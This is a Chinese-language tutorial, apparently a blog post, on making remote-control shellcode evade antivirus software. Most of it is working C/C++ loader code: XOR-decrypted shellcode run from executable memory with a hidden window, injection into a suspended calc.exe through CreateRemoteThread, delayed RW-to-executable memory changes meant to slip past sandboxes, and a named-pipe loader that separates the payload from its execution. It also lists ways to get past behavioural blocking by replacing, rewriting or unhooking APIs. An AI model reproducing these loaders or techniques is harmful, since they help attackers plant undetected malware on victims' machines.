也可以理解成shellcode混淆,将shellcode执行前进行各种加密,然后执行的时候进行解密。Xor就是一个例子。原理是先将加密后的shellcode写入程序中,然后再在程序里面写入shellcode解密程序,这样子将shellcode混淆后,特征码等各种数值就会改变,可以绕过大部分的静态查杀,加密方法不限制,自己写也是可以的。Exp:xor加密shellcode代码:
源代码:https://github.com/shanfenglan/xor_shellcode
#include stdio.h
#define KEY 0x97 //进行异或的字符unsigned char buf[] = "shellcode";
int main(int argc, char* argv[]){
unsigned char c[sizeof(buf)]; //获取shellcode长度
for (int i = 0; i < sizeof(buf)-1; i++) {
c[i] = buf[i] ^ KEY;//进行解密
printf("\\x%x",c[i]);
}
printf("\n");
return 0;
}
#include "windows.h"
#include "stdio.h"
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口
#define KEY 0x97
char bufff[] = "shellcode";
void main(){
unsigned char buff[sizeof(bufff)]; //获取shellcode长度
for (int i = 0; i < sizeof(bufff) - 1; i++)
{
buff[i] = bufff[i] ^ KEY;//进行解密
}
LPVOID Memory = VirtualAlloc(NULL, sizeof(buff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buff, sizeof(buff));
((void(*)())Memory)();
}
服务端也就是shellcode的存储端会报毒, 不过没关系,因为服务端在我们攻击者的主机上。
参考代码:实现:远程加载shellcode实现分离免杀
#include Windows.h
#include stdio.h
#include "iostream"
//隐藏运行程序时的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
//使用CS或msf生成的C语言格式的上线shellcode
unsigned char shellcode[] = "";
BOOL injection(){
wchar_t Cappname[MAX_PATH] = { 0 }; STARTUPINFO si; PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
//把基地址设置为自己shellcode数组的起始地址
lpMalwareBaseAddr = shellcode;
//获取系统路径,拼接字符串找到calc.exe的路径
GetSystemDirectory(Cappname, MAX_PATH); lstrcat(Cappname, L"\\calc.exe");
//打印注入提示
// printf("被注入的程序名:%S\r\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//创建calc.exe进程
if (CreateProcess(Cappname, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED
, NULL, NULL, &si, &pi) == 0) {
return bRet;
}
lpnewVictimBaseAddr=VirtualAllocEx(pi.hProcess , NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL) {
return bRet;
}
//远程线程注入过程
WriteProcessMemory(pi.hProcess,lpnewVictimBaseAddr,(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0,0, (LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess,&dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc){
// printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
}
int main(int argc, char* argv[]){ help(argv[0]);
injection();
}
虽然还是有不少的查杀,但是可以过360
1.LoadLibrary() 和 GetProcAddress()
这两个函数,一个是加载dll库,一个是从已经加载的库句柄里拿出来某个函数的地址,可以理解成是把一个dll加到内存里,然后获取里面某个函数的地址,得到这个地址后就可以直接调用了,这两个简单的函数经常用到,无论是常规调用还是静态免杀都经常用。
2.OpenProcess()
根据进程id获取进程的句柄,也就是获取进程操控权。
3.VirtualAllocEx()
在指定进程里开辟一块内存,用于存放自己的代码和参数。
4.WriteProcessMemory()
3里面的函数会在一个进程里开辟一块内存,然后在那个内存里直接用本函数4进行数据写入,就是在别人那开一块内存然后写自己的东西。
5.CreateRemoteThread()
最核心的函数,在指定进程的某个内存位置存储的函数为线程函数,启动一个线程,当然被启动的这个线程属于指定的这个进程。
线程注入原理大概就是说我们通过一定的手段在宿主也就是需要被注入的进程那获取权限,得到权限之后我们要在这个进程上开辟一定的内存,然后把自己的线程函数内容以及参数什么的全都拷贝过去,这样目标进程上有我们的函数,我们的参数。
我们这个时候只需要"帮"它启动一下这个线程就OK了,直接用CreateRemoteThread函数在对方进程的某个内存位置的某个线程函数作为线程函数启动。
参考:远控免杀第八篇shellcode免杀
修改图标等资源,效果比较差,利用的是Resource hacker工具,不推荐。
软件加壳其实也就是软件加密或者软件压缩,只是加密或者压缩的方式不一样。加壳几乎可以绕过所有的特征码检测,但是壳也有自己的特征码,所以需要自己去写。通过加壳绕过杀软原理还是绕过特征码检测,需要很强的代码与逆向能力,这里不做过多描述。
vt上显示过360,但是刚360又查杀了,搞不懂。。
#include
// 入口函数
int wmain(int argc, TCHAR* argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */
unsigned char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
此项技术的核心在于,先申请了正常的可读写内存,停滞几秒后,改变内存状态为可执行。
#include
#include
#include
#define BUFF_SIZE 1024
unsigned char buf[] = "";
LPCTSTR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
BOOL RecvShellcode(VOID) {
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+]Can't Open Pipe , Error : %d \n", GetLastError());
return FALSE;
}
WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}
int wmain(int argc, TCHAR* argv[]) {
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
dwError = GetLastError();
printf("[-]Create Pipe Error : %d \n", dwError);
return dwError;
}
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL);
if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...\n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
printf("[+]Get DATA Length : %d \n", dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode, szBuffer, dwLen);
/*for (DWORD i = 0; i < dwLen; i++) {
Sleep(50);
_InterlockedXor8(pszShellcode + i, 10);
}*/
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
}
return 0;
}
原理:创建一个子线程当命名管道当另一端也就是客户端,用来传输shellcode,进程自己当服务端用来接收shellcode分配内存并运行。
杀毒软件现在都会有主防的功能,对恶意行为进行拦截提示。比如这些行为:注册表操作,添加启动项,添加服务文件写入、读系统文件、删除文件,移动文件杀进程,创建进程注入、劫持等行为拦截原理说白了,恶意行为都是通过API调用来完成的,可能是一个API,可能是多个APi组合。杀软通过技术手段拦截这些API调用,通过策略来判断是否属于恶意行为。
关键点:
API
策略(顺序,调用源,参数等等)
所以后面的方法就是针对这两点做的工作。
如何进行行为免杀呢?
- 替换api
使用相同功能的API进行替换,杀软不可能拦截了所有API,所以这种方式还是有效的。比如MoveFileEx替换MoveFile。- 未导出api
寻找相同功能的未导出API进行替换,杀软拦截一般是导出API,或者底层调用,寻找未导出API有一定效果。
寻找方法,通过分析目标API内部调用,找到内部一个或多个未导出API,来完成相同功能。- 重写api
完全重写系统API功能(通过逆向),实现自己的对应功能API,对于ring3的行为拦截非常有效。比如实现MoveFile等。- api+5
ring3的API拦截通过是挂钩API头几个字节内容,然后进入杀软自己函数进行参数检查之类的。- 底层api
该方法类似于2和3,杀软拦截API可能更加高层(语义更清楚),那就可以找更底层API进行调用,绕过拦截,比如使用NT函数。
或者通过DeviceIoControl调用驱动功能来完成API功能。
模拟系统调用。- 合理替换调用顺序
有时拦截行为是通过多个API组合来完成的,所以合理替换顺序,绕过杀软拦截策略,也可以绕过改行为拦截。
比如,先创建服务,再将服务对应文件拷贝过去。- 绕过调用源
通过调用其它进行功能来完成API的功能。比较经典的如,通过rundll32.exe来完成dll加载,通过COM来操作文件等等。
参考资料:
那些shellcode免杀总结
远控免杀第八篇shellcode免杀
远控免杀从入门到实践 (11) 终结篇